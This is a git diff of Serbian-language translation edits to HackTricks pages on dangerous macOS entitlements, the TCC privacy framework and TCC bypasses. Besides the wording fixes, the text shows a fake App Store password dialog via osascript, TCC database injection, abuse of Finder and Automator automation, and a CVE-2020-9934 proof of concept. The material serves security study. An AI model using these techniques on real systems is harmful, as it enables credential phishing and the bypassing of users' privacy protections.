diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md index 3726ed62d..d01803cb6 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -18,7 +18,7 @@ Drugi načini podrške HackTricks-u: Imajte na umu da ovlašćenja koja počinju sa **`com.apple`** nisu dostupna trećim licima, samo ih Apple može odobriti. {% endhint %} -## Visok +## Visoko ### `com.apple.rootless.install.heritable` @@ -42,7 +42,7 @@ Aplikacije sa ovlašćenjem za Alat za Debugovanje mogu pozvati `task_for_pid()` ### `com.apple.security.cs.disable-library-validation` -Ovo ovlašćenje omogućava **učitavanje frameworka, plug-ina ili biblioteka bez potpisa od strane Apple-a ili potpisanog istim Team ID-em** kao glavni izvršni fajl, tako da napadač može zloupotrebiti neko proizvoljno učitavanje biblioteke da ubaci kod. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation). +Ovo ovlašćenje omogućava **učitavanje okvira, dodataka ili biblioteka bez potpisa od strane Apple-a ili potpisanog istim Team ID-em** kao glavni izvršni fajl, tako da napadač može zloupotrebiti neko proizvoljno učitavanje biblioteke da ubaci kod. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation). ### `com.apple.private.security.clear-library-validation` @@ -79,15 +79,15 @@ TODO: Ne znam šta ovo omogućava ### `com.apple.private.apfs.revert-to-snapshot` -TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenih sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas! +TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno** za ažuriranje SSV-zaštićenih sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR molim vas! ### `com.apple.private.apfs.create-sealed-snapshot` -TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno za** ažuriranje SSV-zaštićenih sadržaja nakon restarta. Ako znate kako, pošaljite PR molim vas! +TODO: U [**ovom izveštaju**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **se pominje da bi ovo moglo biti korišćeno** za ažuriranje SSV-zaštićenih sadržaja nakon ponovnog pokretanja. Ako znate kako, pošaljite PR molim vas! ### `keychain-access-groups` -Ovo ovlašćenje nabraja **keychain** grupe kojima aplikacija ima pristup: +Ovo ovlašćenje nabraja **grupe ključeva** kojima aplikacija ima pristup: ```xml keychain-access-groups @@ -107,8 +107,6 @@ Daje dozvole za **Pristup celom disku**, jednu od najviših dozvola koje možete Omogućava aplikaciji slanje događaja drugim aplikacijama koje se često koriste za **automatizaciju zadataka**. Kontrolišući druge aplikacije, može zloupotrebiti dozvole koje su date tim drugim aplikacijama. Na primer, može ih naterati da zatraže korisnikovu lozinku: - -{% code overflow="wrap" %} ```bash osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"' ``` @@ -126,25 +124,25 @@ Dozvoljava **promenu** atributa **`NFSHomeDirectory`** korisnika koji menja puta ### **`kTCCServiceSystemPolicyAppBundles`** -Dozvoljava modifikaciju fajlova unutar aplikacija (unutar app.app), što je **podrazumevano zabranjeno**. +Dozvoljava modifikaciju fajlova unutar aplikativnih paketa (unutar app.app), što je **podrazumevano zabranjeno**. -
+
Moguće je proveriti ko ima ovaj pristup u _Sistemskim postavkama_ > _Privatnost & Bezbednost_ > _Upravljanje aplikacijama_. ### `kTCCServiceAccessibility` -Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da će na primer moći da pritisne taster. Tako bi mogao da zatraži pristup kontroli aplikacije poput Findera i odobri dijalog sa ovom dozvolom. +Proces će moći da **zloupotrebi macOS funkcije pristupačnosti**, što znači da na primer može da pritisne tasterske prečice. Tako bi mogao da zatraži pristup kontroli aplikacije poput Findera i odobri dijalog sa ovom dozvolom. ## Srednje ### `com.apple.security.cs.allow-jit` -Ova dozvola omogućava da se **kreira memorija koja je upisiva i izvršna** prolaskom `MAP_JIT` zastave funkciji sistema `mmap()`. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit). +Ova dozvola omogućava da se **kreira memorija koja je upisiva i izvršna** prolaskom `MAP_JIT` zastave ka `mmap()` sistemskoj funkciji. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit). ### `com.apple.security.cs.allow-unsigned-executable-memory` -Ova dozvola omogućava **zamenu ili zakrpu C koda**, korišćenje dugo zastarelog **`NSCreateObjectFileImageFromMemory`** (što je suštinski nesigurno), ili korišćenje **DVDPlayback** okvira. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). +Ova dozvola omogućava **zamenu ili zakrpu C koda**, korišćenje dugo zastarelog **`NSCreateObjectFileImageFromMemory`** (što je fundamentalno nesigurno), ili korišćenje **DVDPlayback** okvira. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). {% hint style="danger" %} Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u jezicima sa kodom koji nije siguran za memoriju. Pažljivo razmislite da li vaša aplikacija zahteva ovaj izuzetak. @@ -152,10 +150,10 @@ Uključivanje ove dozvole izlaže vašu aplikaciju uobičajenim ranjivostima u j ### `com.apple.security.cs.disable-executable-page-protection` -Ova dozvola omogućava **modifikaciju sekcija sopstvenih izvršnih fajlova** na disku da bi se silom izašlo. Proveri [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). +Ova dozvola omogućava da se **modifikuju sekcije sopstvenih izvršnih fajlova** na disku kako bi se silom izašlo. Proverite [**ovde za više informacija**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). {% hint style="danger" %} -Dozvola za Onemogućavanje zaštite izvršne memorije je ekstremna dozvola koja uklanja osnovnu sigurnosnu zaštitu iz vaše aplikacije, čime se omogućava napadaču da prepiše izvršni kod vaše aplikacije bez otkrivanja. Preferirajte uže dozvole ako je moguće. +Dozvola za Onemogućavanje Zaštite Izvršne Memorije je ekstremna dozvola koja uklanja osnovnu sigurnosnu zaštitu iz vaše aplikacije, čime se omogućava napadaču da prepiše izvršni kod vaše aplikacije bez otkrivanja. Preferirajte uže dozvole ako je moguće. {% endhint %} ### `com.apple.security.cs.allow-relative-library-loads` @@ -185,7 +183,7 @@ Dozvoli procesu da **zatraži sve TCC dozvole**. Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index 01f01ffc5..27f643e14 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -6,9 +6,9 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -18,13 +18,13 @@ Drugi načini podrške HackTricks-u: **TCC (Transparentnost, Saglasnost i Kontrola)** je sigurnosni protokol koji se fokusira na regulisanje dozvola aplikacija. Njegova osnovna uloga je da zaštiti osetljive funkcije poput **usluga lokacije, kontakata, fotografija, mikrofona, kamere, pristupačnosti i punog pristupa disku**. Zahtevajući eksplicitnu saglasnost korisnika pre nego što aplikacija dobije pristup ovim elementima, TCC poboljšava privatnost i kontrolu korisnika nad njihovim podacima. -Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da **odobre ili odbiju pristup**. Osim toga, TCC omogućava direktna korisnička dejstva, poput **prevlačenja i ispuštanja fajlova u aplikaciju**, kako bi se odobrio pristup određenim fajlovima, osiguravajući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno. +Korisnici se susreću sa TCC-om kada aplikacije zatraže pristup zaštićenim funkcijama. To je vidljivo kroz prozor koji korisnicima omogućava da **odobre ili odbiju pristup**. Osim toga, TCC omogućava direktna korisnička dejstva, poput **prevlačenja i ispuštanja fajlova u aplikaciju**, kako bi se odobrio pristup određenim fajlovima, obezbeđujući da aplikacije imaju pristup samo onome što je eksplicitno dozvoljeno. ![Primer TCC prozora](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) -**TCC** upravlja **daemonom** smeštenim u `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i konfigurisan u `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrovanje mach servisa `com.apple.tccd.system`). +**TCC** upravlja **daemon**-om smeštenim u `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` i konfigurisan u `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrovanje mach servisa `com.apple.tccd.system`). -Postoji **tccd u režimu korisnika** koji se pokreće za svakog prijavljenog korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist`, registrovanje mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`. +Postoji **tccd u režimu korisnika** koji se pokreće po prijavljivanju korisnika, definisan u `/System/Library/LaunchAgents/com.apple.tccd.plist` registrovanjem mach servisa `com.apple.tccd` i `com.apple.usernotifications.delegate.com.apple.tccd`. Ovde možete videti tccd koji se izvršava kao sistem i kao korisnik: ```bash @@ -39,14 +39,14 @@ Dozvole se **nasleđuju od roditeljske** aplikacije i **dozvole** se **prate** n Dozvole/zabrane se zatim čuvaju u nekim TCC bazama podataka: * Sistemski široka baza podataka u **`/Library/Application Support/com.apple.TCC/TCC.db`**. -* Ova baza podataka je **SIP zaštićena**, tako da samo SIP prekoračenje može da piše u nju. +* Ova baza podataka je **SIP zaštićena**, tako da samo SIP prekidač može da piše u nju. * Korisnička TCC baza podataka **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** za korisničke preference. -* Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna diskovna pristupa mogu da pišu u nju (ali nije zaštićena SIP-om). +* Ova baza podataka je zaštićena tako da samo procesi sa visokim TCC privilegijama poput Puna disk pristupa mogu da pišu u nju (ali nije zaštićena SIP-om). {% hint style="warning" %} Prethodne baze podataka su takođe **TCC zaštićene za čitanje pristupa**. Dakle, **nećete moći da čitate** svoju redovnu korisničku TCC bazu podataka osim ako je to iz procesa sa TCC privilegijama. -Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su **FDA** ili **`kTCCServiceEndpointSecurityClient`**) moći da piše u korisničku TCC bazu podataka. +Međutim, zapamtite da će proces sa ovim visokim privilegijama (kao što su **FDA** ili **`kTCCServiceEndpointSecurityClient`**) moći da piše u korisničku TCC bazu podataka {% endhint %} * Postoji **treća** TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji su dozvoljeni da **pristupaju lokacionim uslugama**. @@ -128,13 +128,13 @@ Proverom oba baze podataka možete proveriti dozvole koje je aplikacija dozvolil * **`service`** je TCC **string reprezentacija dozvole** * **`client`** je **bundle ID** ili **putanja do binarnog fajla** sa dozvolama -* **`client_type`** označava da li je u pitanju identifikator paketa(0) ili apsolutna putanja(1) +* **`client_type`** označava da li je to identifikator paketa(0) ili apsolutna putanja(1)
-Kako izvršiti ako je u pitanju apsolutna putanja +Kako izvršiti ako je to apsolutna putanja -Jednostavno uradite **`launctl load you_bin.plist`**, sa plist fajlom kao što je: +Samo uradite **`launctl load you_bin.plist`**, sa plistom kao što je: ```xml @@ -175,7 +175,7 @@ Jednostavno uradite **`launctl load you_bin.plist`**, sa plist fajlom kao što j * **`auth_value`** može imati različite vrednosti: denied(0), unknown(1), allowed(2), ili limited(3). * **`auth_reason`** može imati sledeće vrednosti: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti dozvole TCC-a: +* Polje **csreq** služi da naznači kako proveriti binarnu datoteku za izvršavanje i dodeliti TCC dozvole: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; @@ -209,7 +209,9 @@ tccutil reset All ``` ### Provere potpisa TCC -TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe čuva i **informacije** o **potpisu** kako bi se **proverilo** da li aplikacija koja traži dozvolu za korišćenje određene funkcije jeste tačno određena aplikacija. +TCC **baza podataka** čuva **Bundle ID** aplikacije, ali takođe **čuva** **informacije** o **potpisu** kako bi **proverila** da li aplikacija koja traži dozvolu za korišćenje određene funkcije je tačno ona koja tvrdi da jeste. + +{% code overflow="wrap" %} ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -224,7 +226,7 @@ csreq -t -r /tmp/telegram_csreq.bin {% endcode %} {% hint style="warning" %} -Stoga, druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama dodeljenim drugim aplikacijama. +Zbog toga druge aplikacije koje koriste isto ime i identifikator paketa neće moći pristupiti odobrenim dozvolama date drugim aplikacijama. {% endhint %} ### Ovlašćenja i TCC Dozvole @@ -232,9 +234,9 @@ Stoga, druge aplikacije koje koriste isto ime i identifikator paketa neće moći Aplikacije **ne samo da moraju** zatražiti i dobiti **pristup** određenim resursima, već takođe moraju **imati relevantna ovlašćenja**.\ Na primer, **Telegram** ima ovlašćenje `com.apple.security.device.camera` da zatraži **pristup kameri**. Aplikacija koja **nema** ovo **ovlašćenje neće moći** pristupiti kameri (i korisnik neće biti ni pitao za dozvole). -Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja**. Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi. +Međutim, da bi aplikacije **pristupile** određenim korisničkim fasciklama, kao što su `~/Desktop`, `~/Downloads` i `~/Documents`, **ne moraju** imati određena **ovlašćenja.** Sistem će transparentno upravljati pristupom i **pitati korisnika** po potrebi. -Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi ovlašćenja, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer: +Apple-ove aplikacije **neće generisati prozore sa upitima**. One sadrže **unapred odobrena prava** na svojoj listi **ovlašćenja**, što znači da **nikada neće generisati iskačući prozor**, **niti** će se pojaviti u bilo kojoj od **TCC baza podataka.** Na primer: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -261,7 +263,7 @@ Neke TCC dozvole su: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePho ### Korisnička namera / com.apple.macl -Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji za datoteku prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut datoteke**. Ovaj atribut će **čuvati UUID** odobrenje aplikacije: +Kao što je ranije pomenuto, moguće je **dodeliti pristup aplikaciji fajlu prevlačenjem i ispuštanjem**. Ovaj pristup neće biti naveden u bilo kojoj TCC bazi podataka već kao **prošireni** **atribut fajla**. Ovaj atribut će **čuvati UUID** odobrene aplikacije: ```bash xattr Desktop/private.txt com.apple.macl @@ -288,7 +290,7 @@ Prošireni atribut `com.apple.macl` **ne može biti očišćen** kao ostali pro ### Ubacivanje u TCC -Ako u nekom trenutku uspete da dobijete pristup za pisanje preko TCC baze podataka, možete koristiti nešto slično sledećem da dodate unos (uklonite komentare): +Ako u nekom trenutku uspete da dobijete pristup pisanju preko TCC baze podataka, možete koristiti nešto slično sledećem kako biste dodali unos (uklonite komentare):
@@ -345,9 +347,9 @@ Ako ste uspeli da uđete u aplikaciju sa nekim TCC dozvolama, proverite sledeću ### Automatizacija (Finder) do FDA\* Ime TCC dozvole za Automatizaciju je: **`kTCCServiceAppleEvents`**\ -Ova specifična TCC dozvola takođe ukazuje na **aplikaciju koja može biti upravljana** unutar TCC baze podataka (tako da dozvole ne dozvoljavaju upravljanje svime). +Ova specifična TCC dozvola takođe pokazuje **aplikaciju koja može biti upravljana** unutar TCC baze podataka (tako da dozvole ne dozvoljavaju upravljanje svime). -**Finder** je aplikacija koja **uvek ima FDA** (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate **Automatizaciju** privilegije nad njom, možete zloupotrebiti njene privilegije da **izvršava određene akcije**.\ +**Finder** je aplikacija koja **uvek ima FDA** (čak i ako se ne prikazuje u korisničkom interfejsu), tako da ako imate **Automatizaciju** privilegije nad njom, možete zloupotrebiti njene privilegije da **je naterate da obavi neke radnje**.\ U ovom slučaju, vaša aplikacija bi trebalo da ima dozvolu **`kTCCServiceAppleEvents`** nad **`com.apple.Finder`**. {% tabs %} @@ -381,14 +383,14 @@ EOD Možete zloupotrebiti ovo da **napišete svoju bazu podataka korisnika TCC**. {% hint style="warning" %} -Sa ovlašćenjem moći ćete **zatražiti od Findera pristup ograničenim fasciklama TCC** i dati vam fajlove, ali koliko znam, **nećete moći naterati Finder da izvrši proizvoljan kod** kako biste potpuno zloupotrebili njegov pristup FDA. +Sa ovlašćenjem ćete moći **zatražiti od Findera pristup TCC ograničenim fasciklama** i dati vam fajlove, ali koliko znam nećete moći da naterate Finder da izvrši proizvoljan kod kako biste potpuno zloupotrebili njegov pristup FDA. Stoga, nećete moći zloupotrebiti sve mogućnosti FDA. {% endhint %} Ovo je TCC prozor za dobijanje privilegija automatizacije nad Finderom: -
+
{% hint style="danger" %} Imajte na umu da zato što aplikacija **Automator** ima TCC ovlašćenje **`kTCCServiceAppleEvents`**, može **kontrolisati bilo koju aplikaciju**, poput Findera. Dakle, imajući ovlašćenje za kontrolu Automatora, takođe biste mogli kontrolisati **Finder** pomoću koda kao što je prikazano ispod: @@ -418,11 +420,11 @@ EOD ```
-Isto se dešava i sa **Script Editor aplikacijom,** može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete ga naterati da izvrši skriptu. +Isto važi i za **Script Editor aplikaciju,** ona može kontrolisati Finder, ali korišćenjem AppleScript-a ne možete je naterati da izvrši skriptu. ### Automatizacija (SE) ka nekim TCC -**System Events može kreirati Folder Actions, a Folder actions mogu pristupiti nekim TCC folderima** (Desktop, Documents & Downloads), tako da se skripta poput sledeće može koristiti za zloupotrebu ovog ponašanja: +**System Events može kreirati Folder Actions, a Folder Actions mogu pristupiti nekim TCC folderima** (Desktop, Documents & Downloads), tako da se skripta poput sledeće može koristiti za zloupotrebu ovog ponašanja: ```bash # Create script to execute with the action cat > "/tmp/script.js" < @@ -578,7 +578,7 @@ DozvoljeneAplikacijeLista.plist: ``` -### TCC Bypassi +### TCC Bypassovi {% content-ref url="macos-tcc-bypasses/" %} [macos-tcc-bypasses](macos-tcc-bypasses/) @@ -597,10 +597,10 @@ DozvoljeneAplikacijeLista.plist: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index c2983f828..a9843ecc3 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u: * Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -18,7 +18,7 @@ Drugi načini podrške HackTricks-u: ### Bypass za pisanje -Ovo nije zaobilazak, to je samo kako TCC radi: **Ne štiti od pisanja**. Ako Terminal **nema pristup čitanju Desktop-a korisnika, i dalje može da piše u njega**: +Ovo nije zaobilazak, to je samo kako TCC radi: **Ne štiti od pisanja**. Ako Terminal **nema pristup čitanju Desktop-a korisnika, i dalje može pisati u njega**: ```shell-session username@hostname ~ % ls Desktop ls: Desktop: Operation not permitted @@ -65,7 +65,7 @@ Imajte na umu da sada, da biste mogli omogućiti SSH, potrebno je imati **Pristu ### Obrada ekstenzija - CVE-2022-26767 -Atribut **`com.apple.macl`** dodeljuje se fajlovima kako bi dala **određenoj aplikaciji dozvole za čitanje**. Ovaj atribut se postavlja kada se **prevuče i ispusti** fajl preko aplikacije, ili kada korisnik **dvaput klikne** na fajl da ga otvori sa **podrazumevanom aplikacijom**. +Atribut **`com.apple.macl`** dodeljuje se fajlovima kako bi dala **određenoj aplikaciji dozvole da ga pročita**. Ovaj atribut se postavlja kada se **prevuče i ispusti** fajl preko aplikacije, ili kada korisnik **dvaput klikne** na fajl da ga otvori sa **podrazumevanom aplikacijom**. Stoga, korisnik bi mogao **registrovati zlonamernu aplikaciju** da obradi sve ekstenzije i pozove Launch Services da **otvori** bilo koji fajl (tako da će zlonamerni fajl dobiti pristup za čitanje). @@ -127,10 +127,10 @@ do shell script "rm " & POSIX path of (copyFile as alias) ### CVE-2020–9934 - TCC -**tccd daemon** u korisničkom prostoru koristi **`HOME`** **env** promenljivu za pristup bazi podataka korisnika TCC iz: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +**tccd daemon** u korisničkom prostoru koristi **`HOME`** **env** promenljivu za pristup TCC korisničkoj bazi podataka iz: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** -Prema [ovom Stack Exchange postu](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i zato što tccd daemon radi putem `launchd` unutar domena trenutnog korisnika, moguće je **kontrolisati sve environment promenljive** koje mu se prosleđuju.\ -Stoga, **napadač može postaviti `$HOME` environment** promenljivu u **`launchctl`** da pokazuje na **kontrolisani direktorijum**, **restartovati** **TCC** daemon, a zatim **direktno izmeniti TCC bazu podataka** kako bi sebi dao **sve dostupne TCC privilegije** bez ikakvog upita korisniku.\ +Prema [ovom Stack Exchange postu](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) i zato što TCC daemon radi putem `launchd` unutar trenutne korisničke domene, moguće je **kontrolisati sve environment promenljive** koje mu se prosleđuju.\ +Stoga, **napadač može postaviti `$HOME` environment** promenljivu u **`launchctl`** da pokazuje na **kontrolisani** **direktorijum**, **restartovati** **TCC** daemon, a zatim **direktno izmeniti TCC bazu podataka** kako bi sebi dao **sve dostupne TCC privilegije** bez ikakvog upita korisniku.\ PoC: ```bash # reset database just in case (no cheating!) @@ -160,7 +160,7 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Beleške -Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se **kreira na nezaštićenoj lokaciji**. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako da se nalazi na nezaštićenoj lokaciji) i zatim pristupiti datoteci: +Beleške su imale pristup TCC zaštićenim lokacijama, ali kada se napravi beleška, ona se **kreira na lokaciji koja nije zaštićena**. Dakle, mogli ste zatražiti od beleški da kopiraju zaštićenu datoteku u belešku (tako da se nalazi na lokaciji koja nije zaštićena) i zatim pristupiti datoteci:
